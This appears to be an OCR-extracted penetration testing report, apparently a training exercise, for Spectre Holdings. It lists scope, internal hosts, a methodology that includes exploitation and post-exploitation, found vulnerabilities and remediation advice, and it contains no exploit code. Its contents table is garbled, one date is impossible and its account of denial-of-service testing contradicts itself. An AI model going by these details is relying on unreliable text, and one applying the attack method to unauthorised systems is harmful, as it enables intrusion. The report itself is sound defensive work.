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PENETRATION TESTING REPORT

1. The Cover Letter

July 6, 2017
PRIVATE AND CONFIDENTIAL

Spectre Holdings, Ltd.
220 Crossways Park Dr West,
Woodbury, NY 11797, USA

ATTN: Jeff Spectre, CEO

Dear Mr. Spectre:
Subject: Penetration Testing Final Report

Thank you for the opportunity in providing security consulting services for Spectre Holdings. It was a
great experience working with your excellent staff. Your network administrator was extremely helpful
all throughout the duration of security assessment engagement.

With due respect, | want to take this opportunity to share a brief introduction about myself. My name is
Arnel C. Reyes, a seasoned security specialist with more than 15 years of industry experience and hold
multiple security-related certifications. | lead an army of Ethical Hackers and IT Security Consultants. |
held various management positions. To date, | served as Penetration Testing Director, Chief Technology
Officer (CTO) and IT Security Director specializing in network and systems security. | spearheaded
various security assessment, forensics investigation, security control testing, vulnerability assessment,
audit, and penetration testing engagements worldwide for banks, state-of-the-art hospitals,
multinational corporations, government organizations including military agencies and departments in
the Middle East, Asia Pacific and Americas.

With full confidence of the penetration testing service performed, comprehensive security audit on your
organization’s web applications and network infrastructure security was executed successfully to
identify vulnerabilities in order your organization to mitigate risk and avoid future attacks. In addition,
this will serve as proof of evidence to prove your rival firm that you are not the culprit of the cyber-
attack but fellow victims.

Enclosed is the final penetration testing report conducted from June 8 to 12, 2017. The security of your
organization’s web applications and network infrastructure was thoroughly evaluated. With my
extensive experience, | strictly followed the globally accepted standard, processes and procedures with
due diligence and professional care in conducting the penetration test which mainly based on manual
testing techniques with the assistance of various vulnerability analysis tools. The tools used are well
documented on the report.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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As a result of the penetration testing exercise, it was possible to identify numbers exploitable
vulnerabilities and clearly confirm that the web application environment hosting implements different
countermeasures to mitigate attacks on the network and system layer, such as restricted services access
and limited fingerprint. Moreover, countermeasures on the application layer include reduced
functionality, controlled information in error messages and unexpected input conditions. Due to the
nature of project scope and security assessment on production environment, Denial of Service (DoS)
attack was not performed.

With the goal of protecting the IT infrastructure and applications on Spectre production environment, |
recommend your organization to follow these next courses of actions:

e Develop a plan to dispose of the vulnerabilities marked as HIGH and MEDIUM, in appropriate
(descending) order of priority.

e Design and establish a technical training plan focused on security for systems and applications.

e Implement Intrusion Detection and Prevention Systems for critical IT resources (Servers /
Network / Application)

o Implement Web Application Firewall (WAF) and Security Analytics (SA).

e Apply the tactical recommendations to help elevate the immediate security concerns as
documented on the report.

o Implement the strategic recommendations, which focus on the entire environment, future
directions and introduction of security best practices.

e Implement Governance, Risk Management, and Compliance (GRC) solutions that will help
assuring your organization to meet its security objectives and business goals.

Once again, | appreciate the opportunity in providing security consulting services to Spectre Holdings
and | look forward to a long and productive partnership with your organization to help Spectre Holdings
in achieving its business goals and security objectives.

Sincerely,
Arnel C. Reyes
IT Security Consultant

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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1.1. Document Properties

Penetration Testing Report
Spectre Holdings, Ltd.

July 6, 2017

Confidential

Report

1.2

Arnel C. Reyes

Arnel C. Reyes

% %k sk %k k k%

% %k %k %k k k %k

1.2. Version

June 14, 2017 1.0 Arnel C. Reyes Initial Draft
June 31, 2017 1.1 Arnel C. Reyes Edited content and checked formatting
July 6, 2017 1.2 Arnel C. Reyes Final Draft

~
—
o
(o]
=
=)
=
(o)
(=]
N
—
c
.2
7]
s
()
>

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.




PENETRATION TESTING REPORT

1 .3. Table of Content and List Illustrations

Table of Contents

I B Lo 00 V= ] =Y T URTO PSPPI 2
I I D Lo Lol W [ g =T o) e o] o 1= A L= PP PPPPPPPPPN 4
1.2 VBISION ettt e a e e s a s e e s a e e s ba e e sesnans 4
1 .3. Table of Content and List HIUSEratioNs ......cccueiieriieeiieeeeeee ettt ettt e s 5
1 .4, Final REPOIt DEIIVEIY DAt ...ueiiiiiieei ettt ettt e s sttt e e e e st ee e e s sabee e e snte e e ssbeeessnnreeeesnnees 7
2. The EXECULIVE SUMIMAIY ..eiiiiiieeeiiiee ettt e ettt e e ettt e e et e e s sttt e e e e sataeeeeaseeessaasaeeesansaeeesnssaeeeanssaeeannsseeesnnseeens 8
B YooY o Tl oYk o o T o o [T PR SR 10
2.2. PUrpose fOr the EVAlUGLION ......ueeiieeee ettt ettt e e e eate e e e ebte e e e nbaee e enreeas 13
2.3, SYSTEM DESCIIPTION ettt ettt e et e e e e s ettt ettt e e e s e saaabbbeeeeeesesannnebeeeeeeseanssnaeas 14
2.4, ASSUMIPTION . eeeeeeee ettt ettt e e e ettt e e e e e e s beb et eeeeeesaaasea bbb eeeees e e ansbeteeeeeesanntbeeeeeseasannnrnees 15
BT 111 =1 o =T TP PR PP PRPROPPR 16
2.6. SUMMArY Of EVAlUGTION c...veiiiceee et e e e e et e e e tae e e e sat e e e e ebtee e eenbaeeeenreeas 17
2.7. 5UMMAIY Of FINAINGS...ciiiiiiii et ete e e e ete e e e s e et e e e e atae e e ssateeeesabteeeeenseeeeenreeas 18
2.8. Summary of RECOMMENAATION .....cooeiiiiie et e e rere e s be e ste e e sraeesneeesneeenes 20
R I =Ty = Y/ U= d oYY o] [o -4 PSSP 22
B 0 R =Y o Yo Y[ =SSP 24
B R o] (o1 = [ o TSP 28
2,02, REPOIEING ettt ettt ettt e e e ettt e e e e s ettt e e e e e e s uasa bt b eeeeeeee e anbeeeeeeeeeanntbaeeeeeeenannrnen 34
3. Comprehensive TEChNICAl REPOIt ...cccuiiiiiiiiiie ettt see e s ee e s sate e e s s nee e s snareeas 41
N I 1 =11 =1 o ¥ PRSP 41
I 1 T=1 1 1= oV Yl USSP 45
I TR 1 T=1 1 1= oY I PSP 53
1 o =1 1= o ¥ S PRSP 61
R T O o =11 1= oY PRSP 67
TR 1 o F=11 1= oY= I TSRS 71
R 1 =11 1= oV O PSP 76
RS O o T=1 1 1= oY= IR F PSP 85
R 01 o 111 1= o ¥R T PRSP 90
I O 1 =T o= =t 0 PRSP 93

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.

<
o
=
2,
o
=]
=
N
o
(o)}
—
=
<
N
(]
=
~




~
—
o
(o]
=
=)
=
(o)
(=]
N
—
c
.2
7]
s
()
>

PENETRATION TESTING REPORT

Q. RESUIL ANGIYSIS ooeeevieiiieiieee et ee ettt e e ettt e e et e e e eette e e e sbteeeeebaaeessataeeesesstaeeeenssaeeeassseeesastaeessnseneesansaeeesnnsns 95
5. RECOMMENAATIONS ..ottt st sttt et b et e b e s bt e s bt e s meesmeesmeesaeesnneenreeane 97
LAY o] o =] g Vo LD PSPPI 108
Appendix A: Subnet Gateway Brief INformation.........ccccueeiieiie e 108
Appendix B: Hosts Services INformation ... iieei ittt e et e e e 110
APPENIX C: LISt Of TOOIS ...vviiiiiiiie ettt et e et e e e e tte e e e e sabaeeeeataeesenteesesnseeeeenranas 117
Appendix D: ISSAF Penetration Testing Framework (PTF)......cccveeciieeee e 118
Appendix E: OWASP Top 10 Application Security RiSKS........cocciiiiiiiiiiiiiiieeciee e 127
Appendix F: OSSTMM MethOTOIOZY ......cccuviiiiiiiiieiicieee ettt e e s e s s e e e snae e e e neeas 133
Appendix G: Security CoNSUIANT Profile........ccciiiiiiciiee e e 138
Appendix H: Final Acceptance Certificate (FAC) .....cocueiceieeree ettt ettt tee e et esvaeesareesaree s 140
LT 2 0= To [U [ =Te AV o o QX (o 4R 141
5.2, RESEANCH ... ettt ettt st e be e s bt e b et e he e e e bt e e be e e ne e e e nreesreeeaneee s 142
5.3, REFEIENCES ...ttt ettt et e b e bbb e st e e s ehe e she e s bt e s ae e s abesatesabeeabeeabeebeenbeenbeens 143
L € FoTY- | Y USRS 145
7.0. CONCIUSIONS ..ottt ettt sttt ettt sttt e b et e bt e s e bt e e beesbeesbeesaeesanesabesabeebeebeenneenseens 155

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.



PENETRATION TESTING REPORT
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PENETRATION TESTING REPORT

2. The Executive Summary

This report is the result of Penetration Testing conducted by Arnel C. Reyes (Security Consultant) at
Spectre Holdings (Spectre) network infrastructure and web applications on June 8 to 12, 2017. The
security of web applications and network infrastructure was evaluated. The Security Consultant utilized
his extensive experience and strictly followed the globally accepted standard, processes and procedures
with due diligence and professional care in conducting the penetration test which mainly based on
manual testing techniques with the assistance of various vulnerability analysis tools.

Due to nature of Spectre’s business, the risk of potential damage to reputation and public
embarrassment is at stake and is considered serious security threat. The investment made on security
assessment is implemented with a suitable business to information security case requirement study with
proper risk assessment to align security strategies to business objectives. With this security assessment
and penetration testing exercise, Spectre can perform better Business Impact Analysis (BIA), through
which Spectre can find out how much security is enough to sustain the business and which layer of
security needed to target.

The Security Consultant uses the security limitation of Web Applications and services to compromise
target systems. Security Consultant discovered a number of High and Medium vulnerabilities that
Spectre do not comprehend the severity of leaving the web application systems by not implementing
full security consideration to protect the interest of the enterprise.

As a result of the penetration testing exercise it was possible to identify numbers exploitable web
applications vulnerabilities and clearly confirm that the web application environment hosting
implements different countermeasures to mitigate attacks on the network and system layer, such as
restricted services access and limited fingerprint. Moreover, countermeasures on the application layer
include reduced functionality, controlled information in error messages and unexpected input
conditions. Due to the nature of project scope and security assessment on production environment,
Denial of Service (DoS) was performed.

With the goal of protecting the infrastructure and applications on the target environment, it is
recommended to follow these next course of actions:

e Develop a plan to dispose of the vulnerabilities marked as HIGH and MEDIUM, in appropriate
(descending) order of priority.

e Design and establish a technical training plan focused on security for systems and applications.

e Implement Intrusion Detection and Prevention Systems for critical IT resources (Servers /
Network / Application)

o Implement Web Application Firewall (WAF) and Security Analytics (SA).

e Apply the tactical recommendations to help elevate the immediate security concerns as
documented on the report.

e Implement the strategic recommendations, which focus on the entire environment, future
directions and introduction of security best practices.

e Implement Governance, Risk Management, and Compliance (GRC) solutions that will help
assuring your organization to meet its security objectives and business goals.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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Implementation of any of the recommendations is strictly voluntary on the part of Spectre Holdings
and is at the discretion of your organization’s management. The implementation of any
recommendations contained herein does not guarantee the elimination of all risks.

Note: The business impact of all identified vulnerabilities shall be determined by the asset owner and
management.
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PENETRATION TESTING REPORT

2.1. Scope of the Project

This section defines the scope of this penetration testing engagement upon which the basis of pricing
the service. It is therefore be noted that unless a deliverable is explicitly included in the tables below, it
is regarded as implicitly excluded from the scope of delivery. The scope is to conduct detailed
Vulnerability Assessment and Penetration Testing to Spectre web applications for selected websites and
network infrastructure.

Web Application Penetration Testing (Internal)

This was carried out to test the robustness of the web application to intrusion attempts using web
attack from different sources and attack vectors, (i.e. how well the application security mechanisms are
implemented to withstand probing and attacks).

admin.stectreholdings.com 172.16.16.2 ProjectSend
finance.spectreholdings.com 172.19.20.3 WordPress
finance03.spectreholdings.com 172.19.20.4 PHP File Manager
hr.spectreholdings.com 172.20.20.2 Ice HRM
marketing.spectreholdings.com 10.10.20.4 eXpLloit.co.il, phpMyAdmin
sales.spectreholdings.com 10.10.20.4 Wolf CMS, phpMyAdmin
techsupport.spectreholdings.com 172.17.19.4 Joomla, phpMyAdmin

Test coverage on Web Applications

Administrative Interfaces — To determine the extent of any administrative interfaces used and
whether or not they are secure.

Authentication and Access Control — To determine the adequacy of the authentication and
access control configurations.

Configuration Management — To determine the adequacy of change management procedures.
Input Validation — To determine whether the web application can be manipulated by inserting
invalid input in order to extract sensitive information or perform unauthorized functions.
Parameter Manipulation — Determine whether parameters in the web applications can be
manipulated to extract sensitive information or perform unauthorized functions.

Session Management — To identify the session management mechanism used and to determine
any security control weaknesses.

Business Logic — Determine whether business logic controls can be bypassed.

Links — Review of any links to other connected Servers including middleware/database servers
Application testing includes as a minimum the OWASP Top 10 such as non-validated input,
broken access control (for example, malicious use of user IDs), injection flaws (for example, SQL
injection), improper error handling, insecure storage.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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Network Infrastructure Penetration Testing (Internal)

This is carried out to test the robustness of the system and network infrastructure to intrusion attempts
from different sources and attack vectors, (i.e. how well the internal defense mechanisms are
configured to withstand probing and attacks and to examining whether Trojans and backdoor software
applications are permitted or not).

10.10.20.0/24 10.10.20.1
10.10.20.2
10.10.20.3
10.10.20.4
10.10.20.5
10.10.20.6
10.10.30.0/24 10.10.30.1
10.10.30.2
172.16.16.0/24 172.16.16.1
172.16.16.2
172.16.16.3
172.17.19.0/24 172.17.19.1
172.17.19.2
172.17.19.3
172.17.194
172.17.19.5
172.19.20.0/24 172.19.20.1
172.19.20.2
172.19.20.3
172.19.20.4
172.19.20.5
172.20.20.0/24 172.20.20.1
172.20.20.2
172.20.20.3

Test coverage on

1. Network Infrastructure

v" Network Discovery — Using a combination of proprietary and public network mapping tools,
network sweepers and port scanning tools, the Security Consultant gathered accessible
information about the physical network structure and identified available network services.

v" Network Configuration — The configuration of firewalls, routers and switches was examined
for anomalies against Spectre procedures and standards. Encrypted passwords was
examined as well and open ports.

v" Vulnerability Identification — After confirming the system’s identification, the Security
Consultant conducted vulnerability assessment activities using commercially high-graded
and some open source tools to identify potential vulnerabilities in all network devices.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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v Exploitation Testing — After gaining an approval from the person in-charge in Spectre, the
Security Consultant attempted to confirm vulnerabilities using exploit codes developed and
tested for the task.

2. Servers Operating System

v' Operating Security Controls — the Security Consultant conducted a full review of Spectre’s
server platforms housing the web server. This includes but is not limited to: patch levels,
registry lockdown, user accounts, service accounts, file permissions, enumeration settings
and SNMP configuration. Open source and commercially high-graded tools were utilized.

v" Vulnerability Identification — After confirming the system’s identification, the Security
Consultant conducted vulnerability assessment activities using commercially high-graded
and some open source tools in order to identify potential vulnerabilities in all services and
unintentional or intentional back doors.

v" Exploitation Testing — After gaining an approval from the person in-charge in Spectre, the
Security Consultant attempted to confirm vulnerabilities using exploit code developed and
tested for the task.
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2.2. Purpose for the Evaluation

Spectre intended to evaluate and assess web applications and network infrastructure security. Mr. Arnel
C. Reyes was selected as an independent Security Consultant to help Spectre evaluate and improve the
security of the organization’s web applications and network infrastructure. The main objective is to
identify vulnerabilities in order for Spectre to mitigate risk, avoid future attacks and prove to rival firm
that Spectre was not the culprit of the cyber-attack but fellow victims.

The fundamental deliverable of this project is to provide information that will allow Spectre to make
informed decisions regarding existing risks, vulnerabilities and the methodology to be adopted to
mitigate them in the most efficient manner. Spectre to achieve required visibility into its existing web
applications, systems and network infrastructure by:

v’ Strengthening the network devices and firewall infrastructure of Spectre to ensure right security
controls wherever applicable.

e Enforcement of recommended remedial measures to mitigate identified threats,
vulnerabilities and risks on the server nodes and other networking equipment.

v To be most effective, information security must be integrated into the overall system
development from system inception and implementation. This will enable Spectre to maximize
return on investment (ROI) of the security program, through:

e Early identification and mitigation of security vulnerabilities and unsecure configurations
resulting in lower cost of security control implementation and vulnerability mitigation;

e Awareness of potential engineering challenges caused by mandatory security controls;

e Identification of shared security services and reuse of security strategies and tools to
reduce development cost and schedule while improving security posture through
proven methods and techniques; and

e Facilitation of informed executive decision making through comprehensive risk
management in a timely manner.

The penetration test combined automated scans with manual research and verification to detect and
exploit suspected vulnerabilities in a range of target IP addresses and web applications provided by
Spectre. The Security Consultant was firstly performed the reconnaissance and discovery (a black-box
approach) to the internal network and web applications. After identification of vulnerabilities as
potential weaknesses, Security Consultant initiated penetration test to exploit these candidate security
vulnerabilities to the selected target servers and web applications.

The penetration test involved “replaying” tests performed by automated tools, as well as the use of
exploitation frameworks such as Metasploit Framework, custom exploit code, WPScan, SQLMap among
others. Also, additional tests such as password guessing was performed. The denial-of-service tests was
not performed which is normally excluded from penetration testing assignments to avoid disruption of
normal operation, unless explicitly requested for and authorized by Spectre.

A foothold on the target infrastructure was gained following a successful vulnerability exploitation,
which used to further explore the extent of the resulting security breach such as SQL Injection, Remote
Code Execution, Back Doors/Remote Access Trojan. Also, privilege escalation techniques was used to
increase the level of access.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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2.3. System Description

The Security Consultant well understood the Spectre requirements and project scopes of this
penetration testing engagement. This project, recommends whether the solutions and design meet the
Spectre requirements and expectations based on Best Practices across financial industry.

e Security Consultant reviewed the details of the complete enterprise architecture, the data flow
across different components, controls implemented, dependencies on the internal or external
applications/services, exposure of data to the third party.

e For Secure Communication, the Security Consultant reviewed the existing infrastructure which
facilitates the secure communication such as https traffic for core business applications, and
mode of deployment.

e Recommendation whether the proposed solutions/capacity/design and configuration meet the
Spectre’s requirement that is most suitable to the industry.

The Spectre’s internal network consists of several subnets housing various organizational units. The
front office is connected to a separate subnet which connects to the company’s public-facing
computers. The company has installed various kiosks to help customers understand their product and
services. The front office is also having a Wi-Fi connectivity to cater the users who carry their own
smartphones and laptops.

The Spectre’s internal network is made up of Militarized and Demilitarized Zones connected with a huge
pool of database servers in Database Zone. As a security precaution, and by design, all the internal
resource zones are configured with different subnet IPs. The militarized zone houses the application
servers that provide application frameworks for various departments of the organization.

The Demilitarized Zone contains public facing systems of the organization such as web and mail servers.
The headquarter’s network topology and protocols are replicated around the world in all its satellite
offices for easy communication with the headquarters.

Note: The Spectre network topology diagram (Figure 11 and Figure 12) and system services details
(Appendix B).

The Security Consultant used Kali Linux and Microsoft Windows machines to perform the vulnerability
assessment and penetration testing. The details of the systems used are as follows:

Kali Linux 192.168.0.3 192.168.0.1
Windows Server 2012 R2 192.168.0.2 192.168.0.1
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2.4. Assumption

This section highlights the key assumptions agreed of which Security Consultant carried out during the
execution of this project. The Security Consultant has based the project scope of work, timeframes and
other aspects on the following assumptions:

Spectre designated a person (Business Sponsor/SPoC) to whom all Security Consultant
communications was addressed and whom had the authority to act on all aspects of the project.
Spectre SPoC responded in timely manner to Security Consultant about information needed for
the project.

Spectre accepted the responsibility for providing the correct information in response to
guestionnaires sent out by the Security Consultant.

Security Consultant’s machine was allowed explicitly for the wvulnerability analysis and
penetration test tools to reach all in-scope system IPs.

The network was available “all” the time during the testing period.

The information provided to Security Consultant during the conduct of this project was accurate
and complete.

Spectre accepted that Security Consultant performed its duties through on-site and off-site
activity.

Spectre provided a decent work place at the mutually agreed onsite location.

The assessment deliverable is limited to providing the reports containing the findings and
recommendations and be provided in read-only electronic form (PDF), unless Spectre also
requests printed copies. In this case, a maximum of two printed copies will be provided.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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2.5. Timeline

This section provides the record of penetration test activities such as duration and timeframes
maintained by the Security Consultant for every security test that has been performed. It contains all
commencement and completion dates along with other important dates in the report.
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Network Mapping and Port Scanning

June 8, 2017

June 8, 2017

Vulnerability Identification

June 9, 2017

June 9, 2017

Exploitation of Vulnerabilities

June 10, 2017

June 12, 2017

Timeframe on the following table provides detailed timeline of the penetration testing exploitation

stage from initial testing to final testing:

Windows Workstation June 10, 2017 June 10, 2017
Linux SSH Server June 10, 2017 June 10, 2017
Windows FTP Server June 10, 2017 June 10, 2017

Web Application

admin.stectreholdings.com

June 11, 2017

June 11, 2017

Web Application

finance.spectreholdings.com

June 11, 2017

June 11, 2017

Web Application

finance03.spectreholdings.com

June 11, 2017

June 11, 2017

Web Application

hr.spectreholdings.com

June 11, 2017

June 11, 2017

Web Application

marketing.spectreholdings.com

June 12, 2017

June 12, 2017

Web Application

sales.spectreholdings.com

June 12, 2017

June 12, 2017

Web Application

techsupport.spectreholdings.com

June 12, 2017

June 12, 2017

Web Application

admin.stectreholdings.com

June 12, 2017

June 12, 2017

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client

organization without prior written approval from ARNEL C REYES.
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2.6. Summary of Evaluation

The Security Consultant followed four-phase process in performing the penetration test. These phases
are reconnaissance, vulnerability analysis, exploitation, and post exploitation. The process used is
recursive in that once the Security Consultant gained access, the process starts over again.

1. Reconnaissance

The most important phase of any proper assessment is the reconnaissance or information gathering
phase. During this phase the Security Consultant identified information that is meaningful and useful in
performing a successful attack, including network IP addresses, domains, live hosts, and open ports and
services.

2. Vulnerability Analysis

During the vulnerability analysis phase, the Security Consultant performed testing, validation, and
research around vulnerabilities identified in systems obtained during the reconnaissance phase such as
SQL Injection, absence of input validation, weak authentication, poor implementation of strong/complex
password, existence of backdoors or Trojans (RAT), lack of application level security, unpatched
application, insecure communication/channel. An attack plan was then developed based on the
vulnerabilities identified.

3. Exploitation

The exploitation phase focused on gaining access to Spectre’s systems. The Security Consultant worked
on the attack plan that was developed during the Vulnerability Analysis phase. High value targets and
low hanging fruit were exploited first.

4. Post Exploitation

The Post Exploitation phase started right after the Security Consultant gained access to a system. The
purpose of the Post Exploitation phase was to determine the value of the compromised system and to
maintain control of that machine for later use. The Security Consultant searched for any data that could
be perceived as valuable or confidential and sensitive information such as credentials, account number,
access codes or keys, employee salary, clients’ account data, partners’ information that may cause
damage to the organization or could be used to compromise other systems. Compromised systems may
also have been used as pivot points to access other systems in scope.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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2.7. Summary of Findings

This section provides brief information about all the vulnerabilities identified during the security
assessment. Each one of the reported vulnerabilities was actively exploited to obtain control, elevate
privileges or acquire information on the vulnerable host.

Vulnerability Summary

9%'

= HIGH MEDIUM = LOW

The following table is the summary of the vulnerability findings:

Server Service Could Allow Remote Code Execution 10.10.20.2
WordPress Username Enumeration 172.19.20.3
Weak Password 10.10.20.4
172.16.16.3
172.17.19.4
ProjectSend Arbitrary File Upload 172.16.16.2
Default Username and Password 172.20.20.2
Malicious Image File Upload 172.20.20.2
SQL Injection 10.10.20.4
Malware 172.19.20.5

Unsecured Web-Based File Manager 172.19.20.4

Unsecured FTP MEDIUM 172.16.16.3

Port Scan 10.10.20.1
10.10.20.2
10.10.20.3
10.10.20.4
10.10.20.5
10.10.20.6
10.10.30.1
10.10.30.2
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172.16.16.1
172.16.16.2
172.16.16.3
172.17.19.1
172.17.19.2
172.17.19.3
172.17.194
172.17.19.5
172.19.20.1
172.19.20.2
172.19.20.3
172.19.20.4
172.19.20.5
172.20.20.1
172.20.20.2
172.20.20.3
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2.8. Summary of Recommendation

This section is the summary of suggested solutions to remediate the vulnerabilities found during the
penetration test. The security assessment carried out at Network Infrastructure and web applications
ranks as LOW to MEDIUM.

The Security Consultant recommends attention to the issues discovered during this assessment and that
an action plan is generated to remediate these items. The recommendations are classified as tactical or
strategic. The tactical recommendations are short term fixes to help elevate the immediate security
concerns. Strategic recommendations focus on the entire environment, future directions and
introduction of security best practices. Highlights of the recommendations are as follows:

Tactical Recommendations

v
v
v

AN

Apply security updates and service packs to all computer systems.

Apply security patches to all web applications’ plugins and components.

Keep all web applications and its plugins updated. WordPress, Joomla, ProjectSend among
others and plugin authors are constantly fixing bugs and security issues within their code
and releasing new versions.

Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality
of data between the user's computer and the site. HTTPS prevents the transmission of
confidential data in clear text such as user credential/password and session/cookie details.
Do not use the ‘admin’ or ‘administrator ‘or ‘root’ username because these are prime target
for password brute force attacks.

Change default password.

Implement strong password policy such as a combination of Alphanumeric and special
characters.

Implement a mechanism to automatically detect a malicious Web Shell scripts and malicious
program on the server.

IP whitelist all administration web portal. By whitelisting the access to the administration
page ensures that only specific IPs can access it.

Add a layer of protection to all administrative portals with HTTP Basic Authentication.

For SQL Injection application defect, use a safe APl which avoids the use of the interpreter
entirely or provides a parameterized interface. Be careful with APls, such as stored
procedures that are parameterized, but can still introduce injection under the hood.

Positive or “white list” input validation to provide input sanitation like the image file upload
must be validated if the file is really an image file.

Remove the eXploit.co.il web application on the production environment.

Disable ports and services that are not in used.

At the administrative level, block unused ports, turn off unused services and monitor
outgoing traffic.

To manage files remotely on the server securely, use SFTP (which uses the SSH protocol) or
FTP(S) which uses the FTP protocol with SSL for encryption.

Locking down access to specific source IP addresses and limit who can attempt to access the
server.

Allowing or denying access from given IPs, both per-user and globally for the server.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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Strategic Recommendations

4

Implement Patch Management to strategically managing patches or upgrades for software
applications and technologies. A patch management plan can help Spectre business to
handle these changes efficiently.

The Security Consultant was able to add Windows account on target hosts, implementation
of File Integrity Management (FIM) keeps track unauthorized changes

To mitigate the risk of easily guessed passwords facilitating unauthorized access, implement
add-on security or additional authentication controls (i.e. two-factor authentication).
Consider the implementation of web application firewall (WAF) — either software or
appliance based — to help filter out malicious data. A WAF can be particularly useful to
provide some security protection against a particular new vulnerability before a patch is
available.

Install and maintain an updated, quality antivirus program and keep antivirus definition up
to date using centralized antivirus management.

Consider using a solution like Fail2Ban to help block password guessing attempts.

Consider the implementation of Unified threat management (UTM) or unified security
management (USM). This is the evolution of the traditional firewall into an all-inclusive
security product able to perform multiple security functions within one single system:
network firewalling, network intrusion detection/prevention (IDS/IPS), gateway antivirus
(AV), gateway anti-spam, VPN, content filtering, load balancing, data loss prevention, and
on-appliance reporting.

Implementation of firewall controls which ports are exposed and to whom they are visible,
limiting the attack surface discoverable with a port scan.

Implement intrusion prevention system (IPS) detects port scans in progress and shut them
down before they are able to gain a full map of the network.

Mandate security awareness training to educate employees about computer security. A
good security awareness program educates employees about corporate policies and
procedures for working with information technology (IT).

Conduct proactive security assessments as part of security best practices. Spectre shoulLd
ensure that any major changes to infrastructure should require another security
assessment. This should be done to ensure that these changes do not increase the risk to
environment.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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2.9. Testing Methodology

The penetration testing methodology used by the Security Consultant is presented in a graphical
illustration below:

<Pentest Methodology >

Information Gathering Attack Penetration Local Information Gathering Generate Report

2t
=0
@ % Target Identify
g @ || |Scanningt ] Targestand
= Vunerability
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Identify and Attack Targets
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Targets Vulnerabilities Pl
information
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. with lots of Try to Gathering
E'";;‘_“'ma‘::ress Phishings, compromise Proof Report
Inoterne: Trojans , Virus Y
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Scanning the Attack target
N target Web App > Web app with Try to
to Web App found compromise
Vulnerability Vulnerabilities

Figure 1: Penetration Testing Methodology

The penetration testing is based on the following standards:
e Open Source Security Testing Methodology Manual (OSSTMM)
e Information Systems Security Assessment Framework (ISSAF)
e The Institute for Security and Open Methodologies (ISECOM)
e Open Web Application Security Project (OWASP)
e National Institute of Standards & Technology (NIST) Special Publication 800-42 and 800-115
e Penetration Testing Framework (PTF)
e  SANS Security Methodologies
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The security consulting service proposed to Spectre covered the following activities:

Vulnerability Assessment

Gain information on target nodes by scanning
Understanding of security parameters of the configurations
Identify the risks

Perform risk rating

Prioritization of remediation measures

Overall security score summary along with remediation

ASANENENENEN

Penetration testing

Gathering Information

Foot Printing

Scanning internally

Enumeration

Gaining Access

Escalating privilege

Gathering evidence

Report discovered vulnerabilities
Penetration testing recommendations report

AN NN N NN TN

Web Application Security Assessment

Accessing another user’s data and/or modifying data
Accessing protected functionality without valid credentials
Capturing another user’s information

High jacking another user’s session

AN NI NN

Application testing includes as a minimum the OWASP Top 10 covering:

Non-validated input

Broken access control (for example, malicious use of user IDs)
Broken authentication and session management

Cross-site scripting (XSS) attacks

Buffer overflows

Injection flaws (for example, SQL injection)

Improper error handling

Insecure storage

Denial of service (out of scope)

Insecure configuration management

AN N N NN N Y NN
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2.10. Planning

The security assessment was planned based on the agreed scope and defined assignments.
Management approvals, documents and agreements such as Non-Disclosure Agreement (NDA) and
Rules of Engagement (RoE), were signed. The Security Consultant prepared a definite strategy for the
assignment. The planning phase usually consists of all the activities needed to perform prior to the
commencement of the actual penetration test.

There were various factors considered in the execution of the planned and controlled attack. Unlike the
hacker, the Security Consultant had many limitations when executing the test, hence proper planning
was formulated for the success of this penetration testing engagement. Some of the limitations are:

e Time: In a real world situation, a hacker has ample amount of time to carefully plot his attack.
For a penetration tester, it is a time bound activity based on the agreed delivery timeframe.
Factors such as organization’s business hours was considered.

e Legal Restrictions: A penetration tester is bound by a legal contract, which lists the acceptable
and non-acceptable steps that a penetration tester must follow religiously as it could have grave
effects on the business of the target organization.

There are also other limitations imposed by the organization for the penetration tester, which the
Spectre feels might have a business impact, likes possible down-time, information leakage, etc. All these
factors were considered during this stage.

This penetration testing engagement is combined with Network Infrastructure and Web Applications
tests. The success of this engagement is the plan was executed strictly and followed religiously
accordingly. The following stages simply illustrate the plan in a high-level perspective.

N

Discovery Phase
y 4
DISCOVERY < : :
PHASE Scanning & Enumeration
L Vulnerability Analysis
ATTACK
PHASE

~

Figure 2: Stages of Security Testing

DISCOVERY PHASE: The discovery phase is where the actual testing started; it could be regarded as an
information gathering phase. This phase could further categorize as follows:

e Footprinting phase

e Scanning and Enumeration phase

e Vulnerability Analysis phase

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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Footprinting: The process of footprinting is completely non-intrusive activity performed in order to get
the maximum possible information available about the target network and its systems using various
means, both technical as well as non-technical. This involved searching the internet, querying various
public repositories (whois databases, domain registrars, Usenet groups, mailing lists, etc.). This
information gathered by a penetration tester without actively probing the target systems and thus
staying invisible. The Security Consultant utilized this phase as much as possible and been creative
enough in identifying various loopholes and tried to explore every possible aspect that could lead to
relevant information leakage about the target network in the shortest time possible.

